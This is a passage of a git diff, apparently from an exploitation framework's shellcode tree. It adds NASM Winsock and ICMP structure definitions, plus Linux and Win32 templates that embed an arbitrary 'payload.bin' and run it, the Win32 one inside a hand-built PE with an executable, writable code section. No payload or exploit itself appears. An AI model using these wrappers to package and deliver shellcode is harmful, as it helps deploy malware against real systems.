+%define ETOOMANYREFS WSAETOOMANYREFS +%define ETIMEDOUT WSAETIMEDOUT +%define ECONNREFUSED WSAECONNREFUSED +%define ELOOP WSAELOOP +%define ENAMETOOLONG WSAENAMETOOLONG +%define EHOSTDOWN WSAEHOSTDOWN +%define EHOSTUNREACH WSAEHOSTUNREACH +%define ENOTEMPTY WSAENOTEMPTY +%define EPROCLIM WSAEPROCLIM +%define EUSERS WSAEUSERS +%define EDQUOT WSAEDQUOT +%define ESTALE WSAESTALE +%define EREMOTE WSAEREMOTE +%define FD_SETSIZE 64 +%define INVALID_SOCKET (-1-0) +%define SOCKET_ERROR -1 +%define SOCKET_BUFFER_SIZE 512 +%define ICMP_ECHOREPLY 0 +%define ICMP_ECHOREQ 8 +;------------------------wsock32 structures----------------------------- +STRUC fd_setstruc +.fd_count RESD 1 +.fd_array RESD 1 +ENDSTRUC + +STRUC timeval +.tv_sec RESD 1 +.tv_usec RESD 1 +ENDSTRUC + +STRUC sockaddr_in +.sin_family RESW 1 +.sin_port RESW 1 +.sin_addr RESD 1 +.sin_zero RESB 8 +ENDSTRUC + +STRUC sockaddr +.sa_family RESW 1 +.sa_data RESW 1 +ENDSTRUC + +STRUC WSAdata +.wVersion RESW 1 +.wHighVersion RESW 1 +.szDescription RESB WSADESCRIPTION_LEN+1 +.szSystemStatus RESB WSASYS_STATUS_LEN+1 +.iMaxSockets RESW 1 +.iMaxUdpDg RESW 1 +.lpVendorInfo RESD 1 +ENDSTRUC + +STRUC sockproto +.sp_family RESW 1 +.sp_protocol RESW 1 +ENDSTRUC + +STRUC linger +.l_onoff RESW 1 +.l_linger RESW 1 +ENDSTRUC + +STRUC hostentStru +.h_name RESD 1 +.h_alias RESD 1 +.h_addr RESW 1 +.h_len RESW 1 +.h_list RESD 1 +ENDSTRUC + +STRUC netent +.n_name RESD 1 +.n_aliases RESD 1 +.n_addrtype RESW 1 +.n_net RESD 1 +ENDSTRUC + +STRUC servent +.s_name RESD 1 +.s_aliases RESD 1 +.s_port RESW 1 +.s_proto RESD 1 +ENDSTRUC + +STRUC icmp_hdr +.icmp_type RESB 1 +.icmp_code RESB 1 +.icmp_cksum RESW 1 +.icmp_id RESW 1 +.icmp_seq RESW 1 +.icmp_data RESB 1 +ENDSTRUC + +STRUC ip_hdr +.ip_hlv RESB 1 +.ip_tos RESB 1 +.ip_len RESW 1 +.ip_id RESW 1 +.ip_off RESW 1 +.ip_ttl RESB 1 +.ip_p RESB 1 +.ip_cksum RESW 1 +.ip_src RESD 1 +.ip_dest RESD 1 +ENDSTRUC + +STRUC ICMP_OPTIONS +.Ttl RESB 1 +.Tos RESB 1 +.Flags RESB 1 +.OptionsSize RESB 1 +.OptionsData RESD 1 +ENDSTRUC + +STRUC ICMP_ECHO_REPLY +.Address RESD 1 +.Status RESD 1 +.RoundTripTime RESD 1 +.DataSize RESW 1 +.Reserved RESW 1 +.DataPointer RESD 1 +.Options RESD 1 +.zData RESB 250 +ENDSTRUC diff --git a/external/source/shellcode/windows/templates/linux_template.asm b/external/source/shellcode/windows/templates/linux_template.asm new file mode 100644 index 0000000000..48f86234d6 --- /dev/null +++ b/external/source/shellcode/windows/templates/linux_template.asm @@ -0,0 +1,3 @@ +global _start +_start: +incbin "payload.bin" diff --git a/external/source/shellcode/windows/templates/win32_template.asm b/external/source/shellcode/windows/templates/win32_template.asm new file mode 100644 index 0000000000..355ecbe34b --- /dev/null +++ b/external/source/shellcode/windows/templates/win32_template.asm @@ -0,0 +1,71 @@ +%include "pe.inc" + +BIN_Begin + MZHeader + MZExtendedHeader + MZSection.text_Begin + push cs + pop ds + mov dx,MZSection.text_VA(text_string) + mov ah,09 + int 21h + mov ax,4C01h + int 21h + text_string: db 'This program cannot be run in DOS mode.',0Dh,0Ah,'$' + MZSection.text_End + + PEHeader + %define PEOptionalheader_EipRVA PESection.text_RVA(PayloadEntry) + PEOptionalHeader_Begin + PEOptionalHeader_Directory Export,0,0 + PEOptionalHeader_Directory Import,Import_Directorys_RVA,Import_Directorys_VS + PEOptionalHeader_End + + PESectionHeader .text,'.text',PESectionHeader_Flags_EXECUTABLECODE | PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_EXECUTEACCESS | PESectionHeader_Flags_READACCESS| PESectionHeader_Flags_WRITEACCESS + PESectionHeader .rdata,'.rdata',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS + PESectionHeader .data,'.data',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS | PESectionHeader_Flags_WRITEACCESS + PESectionHeader .bss,'.bss', PESectionHeader_Flags_DATA0 | PESectionHeader_Flags_READACCESS | PESectionHeader_Flags_WRITEACCESS + PESectionHeader .idata,'.idata',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS + PESections_Begin + + PESection.text_Begin +PayloadEntry: + incbin "payload.bin" + call [PESection.idata_VA(Import.KERNEL32.ExitProcess)] + PESection.text_End + + PESection.rdata_Begin + db 0x90 + PESection.rdata_End + + PESection.data_Begin + db 0x90 + PESection.data_End + + PESection.bss_Begin + resb 0x100 + PESection.bss_End + + PESection.idata_Begin + + Import_Directorys_Begin .idata + Import_Directory KERNEL32 + Import_Directorys_End + + Import_RVAs_Begin KERNEL32 + Import_RVA KERNEL32,ExitProcess + Import_RVAs_End + + Import_VAs_Begin KERNEL32 + Import_VA KERNEL32,ExitProcess,0BFF8D4CAh + Import_VAs_End + + Import_Strings_Begin KERNEL32 + Import_String_Function KERNEL32,ExitProcess,"ExitProcess",07Fh + Import_String_Dll KERNEL32,"KERNEL32.DLL" + Import_Strings_End + + PESection.idata_End + + PESections_End +BIN_End